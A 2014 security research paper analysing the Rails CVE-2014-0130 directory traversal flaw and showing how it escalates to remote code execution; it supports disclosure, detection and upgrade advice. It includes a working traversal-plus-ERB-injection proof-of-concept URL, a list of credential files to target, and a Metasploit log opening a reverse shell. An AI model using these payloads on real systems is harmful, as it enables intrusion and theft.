

The Anatomy of a Rails Vulnerability

CVE-2014-0130: From Directory Traversal to Shell

May 27th, 2014 - Jeff Jarmoc - jeff@matasano.com

On May 6th 2014, the Ruby on Rails team released updates to address a security vulnerability involving the 'implicit render' feature, and identified it as CVE-2014-0130.¹ In their advisory², they go on to describe a Directory Traversal vulnerability involving globbing routes including the string '*action'. An amendment to that advisory³ broadens the warning, stating that there are 'additional attack vectors' and advising that all users upgrade to a fixed version.

In this paper, we explore the attack vectors of this vulnerability, as well additional impacts beyond simple file retrieval. These include remote code execution across a variety of Ruby on Rails deployment environments. If you take away one thing, it should be this: vulnerability impact is not always clear without close review. In this case, the advisories say arbitrary file read, with a highly unusual configuration. We'll see how to achieve remote code execution with a more common setup.

RAILS ROUTING: A SHORT PRIMER

To discuss this vulnerability, an understanding of the basics of Rails routing is necessary. In the Ruby on Rails framework, we refer to the mapping of HTTP requests to their associated functions as *routing*.⁴ Routing is configured in `RAILS_ROOT/config/routes.rb`. Route directives specify a route map telling the application how to determine which Controller and Action are responsible for handling a given request.

By default, Rails makes use of *resource routes*⁵ which automatically declare common actions for a given Controller. Resource routes are not associated with this vulnerability, so for the purposes of this paper we focus on non-resourceful routes⁶.

In a simple case, a non-resourceful route takes the following form:

```
match '/objects/show/:id', to: 'objects#show'
```

This route tells Rails that an HTTP request, for the path `/objects/show/12` should invoke the `show` method on an instance of `ObjectsController` passing the controller a `params` hash containing `{ id: 12 }`. The Ruby code behind this will be found in `RAILS_ROOT/app/controllers/objects_controller.rb` in a method defined with the name 'show.' This is an example of a 'dynamic segment'.⁷

DYNAMIC SEGMENTS

Dynamic segments allow us to parse strings from the URI and use them as parameters by including a Ruby symbol of the parameter's name in the route's URI. It's important to note that URL identifiers named `:controller` and `:action` are special cases. Rather than becoming part of the `params` hash, these values allow us to determine what Controller and Action will be



invoked by parsing their values from the URI itself. This feature allows a great deal of flexibility, but “with great power comes great responsibility.”

Consider a route such as:

```
match('/:controller/:action(/:id)'
```

This route is highly dynamic. Requests to `/objects/show/12` invoke the `ObjectController`'s `show` action, passing a `params` hash containing `{ id: 12 }` as before. However, this route can also invoke other controller methods for URIs such as `/users/edit/10` or `/users/makeadmin/10`. Security problems can result if the controller does not properly perform authorization checks before performing sensitive actions. For this reason, it's long been a best practice to avoid default routes, and use other dynamic routes cautiously. Rails application testing tools, such as Brakeman⁸, therefore flag this as a warning.⁹

GLOBBING ROUTES

Globbering routes¹⁰ make use of a wildcard segment to match all remaining portions of the URI to a dynamic identifier. This is done by prepending the symbol with a star (*) character instead of a symbol (:) identifier.

For example, the route:

```
get('/:controller/:action/*everything'
```

would match the URI `/objects/show/this/is/an/example` and invoke `Objects#show` with `params { everything: 'this/is/an/example' }`

The original advisory includes the following example of a vulnerable route:

```
get 'my_url/*action', controller: 'asdf'
```

In this case, a GET request to `/my_url/show` would invoke the `AsdfController`'s `show` action. As with any dynamic route, we can invoke any public action on this controller, even those which are not intended to be reachable. Best practice is to ensure that methods not intended to be public are included in a private block, rendering them unreachable if routing should prove overly broad.

THE '*ACTION' DIRECTORY TRAVERSAL VULNERABILITY

With a bit of a background on Rails routing, we can begin to understand the vulnerability. Ville Lautanala of Flowdock discovered¹¹ that when route globbing is performed to extract the action from the URI, a directory traversal vulnerability results. That is, such a route can be leveraged by an attacker to retrieve any file on the server's filesystem.

The directory traversal vulnerability stems from how Rails handles undefined actions. Once the controller and action are retrieved from the URI, the request is dispatched to the appropriate class and method. In the case where the action method is undefined, the request ultimately, through a chain of method calls, attempts to render a view by parsing a file of the same name within the applications `RAILS_ROOT/app/views/<controller_name>/` directory. What Ville found, was that this is done by `ActionView` using a call to Ruby's `Dir[]` function. This function supports resolution of filenames by use of globs, as well as relative paths. So `Dir["*"]` returns an array of all filenames within the current working directory, while `Dir["../*"]` returns an array of filenames within the parent directory.



Remember that routes which parse their action from the URI using globbing can contain filesystem significant characters such as `.` and `/` in them, and you can see where the vulnerability arises. Rails implicit rendering did not account for the possibility of directory traversal sequences in the action name; in turn, such an action can retrieve any file on the filesystem by traversing directories. Retrieving the action through route globbing makes this straightforward.

Look back the advisory's example route again:

```
get 'my_url/*action', controller: 'asdf'
```

When the URI includes `my_url/../../../../Gemfile` Rails will dutifully attempt to dispatch the request to the a method named `../../../../Gemfile` on the `AsdfController` class. When this fails, implicit rendering fallback means this will fetch a file named `Gemfile` three directories above the Controller's views directory, which puts us in the `RAILS_ROOT` directory, and the Application's `Gemfile` is returned.

Ville's post on Flowdock's blog¹² also points out that in some cases, other intermediate systems may block the traversal attempt. While Rails itself provides no traversal protection, these protections can be introduced by other layers in the application stack. This can include middleware such as `Rack::Protection`¹³ or the web server itself. One possible means of bypassing these protections, which is discussed in the post, is escaping the traversal sequence using Ruby's `\` escape syntax. `Dir["..\..\..\Gemfile"]` is functionally equivalent to `Dir["../../../../Gemfile"]`, but may not be detected as a traversal sequence by these intermediate layers, thus bypassing the protection they afford.

VECTORS INVOLVING NON-GLOBBING ROUTES

The vulnerability isn't limited solely to globbing actions, a point which has been a source of confusion. The amended advisory¹⁴ hints at 'additional attack vectors' and this is likely what they're referring to. With some simple changes, any route that parses it's action from the URI can be similarly exploited.

Consider the following route:

```
get 'my_url/:action', controller: 'asdf'
```

The previously discussed patterns of `my_url/../../../../Gemfile` and `my_url/\..\..\..\Gemfile` will no longer work. The difference is that since the match is no longer using a glob, and thus not greedy; the dot and slash characters are seen as delimiters when parsing the URI. This causes the desired action to become truncated, resulting in an attempted action which doesn't contain the traversal string and target filename. However, since this parsing occurs before the URI is decoded, URI encoding allows a similar directory traversal, even on non-globbing routes. For example `/my_url/%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2fGemfile` results in a request to `AsdfController`, with the full string `%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2fGemfile` as the action. Once this is URI decoded, it becomes `..\..\..\Gemfile`, and the `Gemfile` is returned.

Once again, intermediate middleware and server layers may handle the request differently, by invoking URI decoding and normalizing the input prior to Rails' dynamic segment resolution, or escaping characters in the string. In some cases, we can bypass these protections and in others they're sufficient (thus far) to prevent exploitation. In either case, relying on the behavior of the web server to protect vulnerable Rails code is risky.



DETECTING VULNERABLE CONFIGURATIONS

We've seen that for the vulnerability to be exposed, certain route configurations are required. To my knowledge, this includes both `*action` and `:action` routes, but the amended advisory is general enough that it's possible additional vectors exist. The cautious approach is to assume all applications running vulnerable versions are affected. However, checking the routes file for these patterns can highlight cases which almost certainly are, and warrant immediate action.

Earlier, we saw that Brakeman attempts to identify loose routes. In preparing this paper, that behavior was explored and while this is true, Brakeman's behavior left room for improvement. Brakeman would catch true default routes which match any action and any controller, as well as controller defaults which allow for any action on a given controller to be invoked. However, it did not generate a warning on routes defined with HTTP verbs, only those using the `match` syntax.

I'm happy to report that as part of producing this paper, I've submitted a pull request to Brakeman¹⁵, adding support for these route formats. With that change, Brakeman now generates warnings on additional vulnerable configurations, and those who use it as part of their Software Development Lifecycle will be alerted to the presence of these concerning routes in their applications. These improvements are present in Brakeman's source repository, and are expected to be part of Brakeman's 2.5.1 release.

Remote detection, where the routes file is not available for inspection, is more difficult. We first must determine that an application is using a vulnerable version of Rails, and then must determine that routing is configured in a vulnerable fashion. The only feasible way of doing this seems to be simply trying to traverse for a known file (such as the application's Gemfile) and seeing if this yields the expected response.

ACHIEVING CODE EXECUTION

At the start of this paper, we promised some discussion of the code execution exploitability of this vulnerability. With an understanding of the directory traversal cases, we can now begin to discuss the possible avenues toward achieving this more significant impact. There are three primary avenues toward leveraging the core directory traversal vulnerability to achieve remote code execution.

SENSITIVE FILES

The first, and most basic method, is to locate sensitive files on the server which contain credentials or other materials allowing for authentication. With full directory traversal at our disposal, we can retrieve anything from the filesystem to which the web server process has permission. These may include sensitive files such as:

- `/etc/passwd`
- `/etc/shadow`
- `RAILS_ROOT/config/database.yml`
- `RAILS_ROOT/config/secrets.yml`
- `RAILS_ROOT/config/initializers/secret_token.rb`



- System information via `/proc` or `/dev`
- SSH private keys

The contents of sensitive files could enable access to the web server itself, or backend systems such as databases, source code repositories, etc. While retrieval of sensitive files is not a direct path to code-execution, it can be an indirect path and is worth considering.

ENVIRONMENT VARIABLES

Directory traversal can also allow access to the process' environment variables. This can be accomplished by using traversal to disclose the contents of `/proc/self/environ` which returns contents of the process' environment.

On PHP applications, this has been a common method¹⁶ for pivoting from Local File Inclusion (LFI) vulnerabilities to remote code execution. In the common PHP case, an attacker submits a request causing an inclusion of `/proc/self/environ`, along with request parameters which are reflected back in the environment variables that make up this response. When the resulting environment variables (which are attacker controlled) are interpreted by the server as PHP, the attacker's code is executed. Most deployments of Rails, however, don't populate environment variables with request headers or parameters, making this an infeasible avenue for RCE.

However, Rails environments often contain a value which can be used to gain code execution on the server. Rails applications commonly create session cookies by encrypting or signing a serialized object using key values known as the `secret_token` or `secret_key`¹⁷. This token is sometimes stored in flat files on disk, in which case it can be directly retrieved using traversal techniques. However, it is also frequently stored as an environment variable. Thus, accessing either the files of the environment can expose the key to an attacker.

There's a well known vulnerability arising from exposure of these secrets.¹⁸ Since the secret protects cookies which contain serialized data, an attacker with the key can submit their own data in place of that which is legitimately produced by the server. In many cases, this alone may be enough to wreck havoc on individual applications, but there's another vector which applies more broadly to Rails as a whole.

You may recall two vulnerabilities (circa February 2013) in previous versions of Rails which related to object deserialization.^{19 20} These vulnerabilities allowed for code execution due to unsafe deserialization of YAML and JSON data. The underlying vulnerability stems from calling `Marshal.load` on these untrusted serialized objects, allowing an attacker to deserialize malicious data which forms an object that executes code. Session Cookies, prior to Rails 4.1, call this same function to deserialize their data, allowing for similar exploitation; knowledge of the keys protecting these values is the only thing preventing code execution, and directory traversal may allow exposing them.

REFLECTED RUBY INTERPRETATION

While the previous methods to code execution are indirect, and require multiple steps, another avenue can allow more direct code execution. If an attacker can submit data to the server which is made accessible as a file, they can also retrieve that file, causing the server to return their own controlled data. We call this 'reflection' since attacker supplied data is returned in the server response. If the attacker can also ensure this data is parsed as code when building the response, this will allow executing arbitrary code since they can supply code in the request, which is executed when building the response. This is similar to the `/proc/self/environ` PHP



escalation method mentioned above. Once an attacker can retrieve arbitrary files, the system environment provides many such avenues for possible escalation. So we see that in order for reflection to allow code execution, there are two criteria.

REFLECTING CONTROLLED DATA

The first requirement is that an attacker needs to locate a filesystem location which returns their controlled data. For better or worse, these are fairly plentiful. Each presents its own tradeoffs to ease of exploitation versus reliability.

- Environment data (mentioned above) might be controlled under certain circumstances, but this is uncommon.
- System file handles such as `/proc/fd/#` can allow access to files in use by the application, including log data and in some cases network sockets, but this requires an attacker determine or guess the descriptor number and thus may lead to less reliable exploits.
- Filesystem socket descriptors such as those exposed as `/dev/tcp/. . .` filehandles might allow for creating outbound connections to retrieve data, but firewalls could prevent this from succeeding.
- Web server log files are often stored in predictable locations such as `/var/log/apache2/access.log` but these may be moved or renamed on any given environment.
- Temporary files might be created in predictable locations when certain requests are made (such as multi-part POSTs) but these are often of random names, and would require multiple requests to be made in a short period of time.
- Rails log files such as `RAILS_ROOT/log/production.log` are typically stored in predictable locations, and often with predictable names. For these reasons, this is the method I've been focusing my research efforts on. While these log files can be relocated or renamed, the Rails application itself must be configured to use them. This configuration can also be retrieved by an attacker, though doing so would add an additional step.

INTERPRETING AS CODE

Once we've identified a file which returns attacker supplied data, the next step is to ensure it's interpreted as code. On Rails, this is simple. Rails renders response views using its `ActionView` library. `ActionView` supports multiple template formats, using file extensions to distinguish between them. In the case that the file lacks an extension, or its extension is not a valid template format (such as `.log`) Rails currently defaults to interpreting it as ERB (Embedded Ruby). A deprecation warning is generated, indicating plans to change the default to RAW in the future. This is interesting; since ERB, as its name indicates, interprets embedded Ruby code. For example, `<%= puts "test" %>` is valid ERB than runs a small Ruby snippet that simply prints the string 'test.' In RAW mode, this string would be returned verbatim, but with a default template handler of ERB it's interpreted as Ruby code, and executed. The planned change to defaulting template rendering to RAW will, when it occurs, further increase the difficulty of gaining code execution.

Since Rails will interpret embedded ERB in the response view by default, no action is needed on the part of an attacker beyond seeding their targeted view file, which is retrieved by leverage the directory traversal vulnerability with ERB that performs an action of their choosing.



The entire functionality of Ruby and Rails are at their disposal, making building a useful payload simple.

PUTTING IT TOGETHER

Putting all this together, the string below is a simple PoC that will traverse to an application's Production.log and execute the ERB code the request itself bears in parameters:

```
/controller/%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2flog%2fproduction%2elog?codetoexec=%3c%25%3d%20%60%69%64%60%20%25%3e
```

The URI encoding avoids interpretation of URI-significant characters, and also causes the directory traversal string to match both glob and non-glob routes. This decodes to:

```
/controller/../../../../production.log?codetoexec=<%= `id` %>
```

When the resulting page is generated, we can search for 'codetoexec' and confirm that the ERB following that parameter name has been executed, and replaced with the output of the 'id' shell command.

The same technique can be used with a different payload to accomplish any action of the attacker's choosing.

There is an upper limit on URI length that limits the ability to include large payload in the URI parameters. We can again leverage the default functionality of Rails to further the attack. Rails parses request body parameters (even in GET requests) and includes them in the log output in the same way that it parses and logs URI parameters. Therefore, placing malicious parameters in the request body can be used to overcome this length limitation. This also has the benefit that upstream proxies and web servers may not log body parameters, decreasing the likelihood of detection somewhat.

METASPLOIT PROOF OF CONCEPT

For the purposes of exploring this vulnerability and its impacts, I've written a proof of concept Metasploit²¹ module that exploits this vulnerability and sends existing payloads to launch an interactive shell. At this time, the module will not be released, but when additional time has passed allowing for updates to be applied, I may consider releasing it to allow penetration testers and security engineers to easily test this vulnerability themselves.

The screenshot on the following page shows the module providing a shell against a non-globbering route on Rails 4.0.4 running under Webrick in a development environment. This has been confirmed functional on Rails versions 3.2.17, 4.0.4, and 4.1.0 across both globbing and non-globbering (but dynamic) routes.



```

=[ metasploit v4.9.2-dev [core:4.9 api:1.0] ]
+ -- --[ 1302 exploits - 697 auxiliary - 207 post ]
+ -- --[ 335 payloads - 35 encoders - 8 nops ]
+ -- --[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /Users/jeff/.msf4/msfconsole.rc for ERB directives.
msf > use exploit/multi/http/rails_implicit_render_code_exec
msf exploit(rails_implicit_render_code_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(rails_implicit_render_code_exec) > set RPORT 8000
RPORT => 8000
msf exploit(rails_implicit_render_code_exec) > set TARGETURI /nonglob/
TARGETURI => /nonglob/
msf exploit(rails_implicit_render_code_exec) > set PAYLOAD ruby/shell_reverse_tcp
PAYLOAD => ruby/shell_reverse_tcp
msf exploit(rails_implicit_render_code_exec) > set LHOST 192.168.1.110
LHOST => 192.168.1.110
msf exploit(rails_implicit_render_code_exec) > exploit

[*] Started reverse handler on 192.168.1.110:4444
[+] Found Rails v4.0.4 at ../../../../
[*] Sending exploit request to 127.0.0.1:8000 using ../../../../log/production.log...
[*] Sending exploit request to 127.0.0.1:8000 using ../../../../log/development.log...
[*] Command shell session 1 opened (192.168.1.110:4444 -> 192.168.1.110:59417) at 2014-05-21 14:53:23 -0500

id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),999(admin)
^C
Abort session 1? [y/N] y

[*] 127.0.0.1 - Command shell session 1 closed. Reason: User exit
msf exploit(rails_implicit_render_code_exec) >

```

A variety of deployment environments have been tested including Webrick, Phusion Passenger under both Nginx and Apache, and Unicorn under both Nginx and Apache. In some cases, these combine to introduce factors that complicate exploitation. My current results are reflected in the table below:

	GLOB ROUTES	NON-GLOB ROUTES
Webrick	Exploitable	Exploitable
Passenger Standalone	Exploitable	Unproven
Passenger under Apache	Exploitable	Unproven
Passenger under Nginx	Exploitable	Unproven
Unicorn Standalone	Exploitable	Exploitable
Unicorn under Apache	Exploitable	Unproven
Unicorn under Nginx	Exploitable	Exploitable

My techniques remain unsuccessful against non-globbing routes in some Rails deployment environments, including Phusion Passenger under Nginx and Apache. This is due to protections these configurations afford in normalization and escaping of the traversal string within the URI.



Recall that for non-globbering routes, the presence of a '/' character in the URI terminates the matching of an action. This limitation makes encoding a payload which bypasses directory traversal protections more difficult.

It's possible, however, that there are further avenues just waiting to be found. It may well be the case that others have already found these and are actively exploiting them. For this reason, it's not recommend to rely on these results as an indicator of safety.

EVALUATING RISK

By now, you can see that evaluating risk of a given vulnerability can be a complicated process. We've shown that what was originally disclosed as a Directory Traversal vulnerability, allowing for arbitrary file retrieval on systems with a highly unusual configuration is significantly more. It should be clear that this vulnerability, in fact, allows for remote code execution on platforms with a significantly more common, though still flawed and non-default, configuration.

If we look to common vulnerability sources for guidance, what we find is concerning. The National Vulnerability Database (NVD), maintained by the National Institute of Standards and Technology (NIST) describes the vulnerability as impacting '... certain route globbing configurations...' This description is clearly based on the Rails team's original advisory, and does not account for the amended advisory's broader applicability. It further describes the impact as allowing '...remote attackers to read arbitrary files via a crafted request.'²² This is language which, in my opinion, understates the likelihood of remote code execution significantly.

The Open Sourced Vulnerability Database (OSVDB) fares slightly better. There's no mention of globbing routes, but the impact is still described as '...may allow an attacker to gain access to arbitrary files'²³ Other public vulnerability databases, such as SecurityFocus²⁴, lack any measure of associated risk, or require registration to view their information as is the case with Secunia.²⁵

A commonality is that many risk measurements rely on the Common Vulnerability Scoring System (CVSS)²⁶ to rate vulnerabilities. CVSS is limited in that it evaluates only the direct risk of a vulnerability, in this case Directory Traversal. This has been pointed out by others in the security community, most recently by Michael Roytman at Alien Vault²⁷, who used the Heartbleed vulnerability as an example of a case where the CVSS score doesn't paint an accurate picture. CVSS scores don't account for the likelihood or ease with which disclosure vulnerabilities can be escalated to a more significant impact.

CVSS also considers each vulnerability in isolation. While this allows for a more uniform scoring, it fails to account for situations where multiple vulnerabilities, each of a minimal impact, can be combined to a greater effect. In the implicit render case, we're combining the vulnerability with two other behaviors that, while not vulnerabilities themselves, amplify the effectiveness. These are predictable log locations, and the default rendering of views as ERB.

After reading this paper, it should be clear that CVSS scoring does not adequately convey the risk of the Rails 'implicit render' vulnerability.



CONCLUSION

In summary, the following are the major points conveyed in this paper.

- CVE-2014-0130 affects more than just glob routes.
- Remote code execution is possible through this vulnerability.
- Current information points to dynamic routes being required for exploitation of this vulnerability, but the Rails' advisory allows for the possibility of additional vectors.
- Some deployment environments complicate exploitation, but the possibility cannot be definitively ruled out.
- CVSS Scores and Vulnerability databases may not reflect true significance of vulnerabilities.
- In the general sense, Directory Traversal and/or File Inclusion on Rails applications almost certainly implies remote code execution
- Most importantly, **upgrade to a fixed version of Ruby on Rails as soon as possible**; 4.1.1, 4.0.5, 3.2.18 or later.



REFERENCES

All reference URLs were retrieved on May 23rd, 2014. Where allowed by site policy, pages have been added to the Internet Archive's Wayback Machine, and are accessible via their cache at <http://web.archive.org>

- 1 "Rails 3.2.18, 4.0.5, and 4.1.1 have been released!", Rafael Franca
http://weblog.rubyonrails.org/2014/5/6/Rails_3_2_18_4_0_5_and_4_1_1_have_been_released/
- 2 "[CVE-2014-0130] Directory Traversal Vulnerability With Certain Route Configurations", Rafael Franca
https://groups.google.com/forum/#!msg/rubyonrails-security/NkKc7vTW70o/NxW_PDBSG3AJ
- 3 "[AMENDED][CVE-2014-0130] Directory Traversal Vulnerability With Certain Route Configurations", Rafael Franca
https://groups.google.com/forum/#!topic/rubyonrails-security/PyJo7_m-Ehk
- 4 "Rails Routing from the Outside In"
<http://guides.rubyonrails.org/v4.1.0/routing.html>
- 5 "Resource Routing: the Rails Default"
<http://guides.rubyonrails.org/v4.1.0/routing.html#resource-routing-the-rails-default>
- 6 "Non-Resourceful Routes"
<http://guides.rubyonrails.org/v4.1.0/routing.html#non-resourceful-routes>
- 7 "Dynamic Segments"
<http://guides.rubyonrails.org/v4.1.0/routing.html#dynamic-segments>
- 8 "Brakeman - Rails Security Scanner"
<http://brakemanscanner.org/>
- 9 "Default Routes"
http://brakemanscanner.org/docs/warning_types/default_routes/
- 10 "Route Globbing and Wildcard Segments"
<http://guides.rubyonrails.org/routing.html#route-globbing-and-wildcard-segments>
- 11 "How We Found A Directory Traversal Vulnerability in Rails Routes", Ville Lautanala
<http://blog.flowdock.com/2014/05/07/how-we-found-a-directory-traversal-vulnerability-in-rails-routes/>
- 12 "How We Found A Directory Traversal Vulnerability in Rails Routes", Ville Lautanala
<http://blog.flowdock.com/2014/05/07/how-we-found-a-directory-traversal-vulnerability-in-rails-routes/>
- 13 "rack-protection"
<https://github.com/rkh/rack-protection>



- 14 “[AMENDED][CVE-2014-0130] Directory Traversal Vulnerability With Certain Route Configurations”, Rafael Franca
https://groups.google.com/forum/#!topic/rubyonrails-security/PyJo7_m-Ehk
- 15 “Improve route checking for HTTP verb routes.”, Jeff Jarmoc
<https://github.com/presidentbeef/brakeman/pull/493>
- 16 “sell via LFI - proc/self/envIRON method”, SirGod
<http://www.exploit-db.com/papers/12886/>
- 17 “ActionDispatch::Session::CookieStore”
<http://api.rubyonrails.org/v4.1.0/classes/ActionDispatch/Session/CookieStore.html>
- 18 “How to hack a Rails app using its secret_token”, Rob Heaton
<http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/>
- 19 “Serialized Attributes YAML Vulnerability with Rails 2.3 and 3.0 [CVE-2013-0277]”, Aaron Patterson
<https://groups.google.com/forum/#!topic/rubyonrails-security/KtmwSbEpzrU>
- 20 “Denial of Service and Unsafe Object Creation Vulnerability in JSON [CVE-2013-0269]”, Aaron Patterson
https://groups.google.com/forum/#!topic/rubyonrails-security/4_YvCpLzL58
- 21 “Penetration Testing Software | Metasploit”
<http://www.metasploit.com/>
- 22 “Vulnerability Summary for CVE-2014-0130”
<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0130>
- 23 “106704 : Ruby on Rails implicit render Functionality Traversal Remote File Access”
<http://osvdb.org/show/osvdb/106704>
- 24 “Ruby on Rails 'implicit render' Functionality Directory Traversal Vulnerability”
<http://www.securityfocus.com/bid/67244/info>
- 25 “Ruby on Rails 'implicit render' Arbitrary File Disclosure Vulnerability”
<http://secunia.com/advisories/58120/>
- 26 “Common Vulnerability Scoring System (CVSS-SIG)”
<http://www.first.org/cvss>
- 27 “CVSS Score: A Heartbleed By Any Other Name”, Michael Roytman
<http://www.alienvault.com/blogs/security-essentials/cvss-score-a-heartbleed-by-any-other-name>

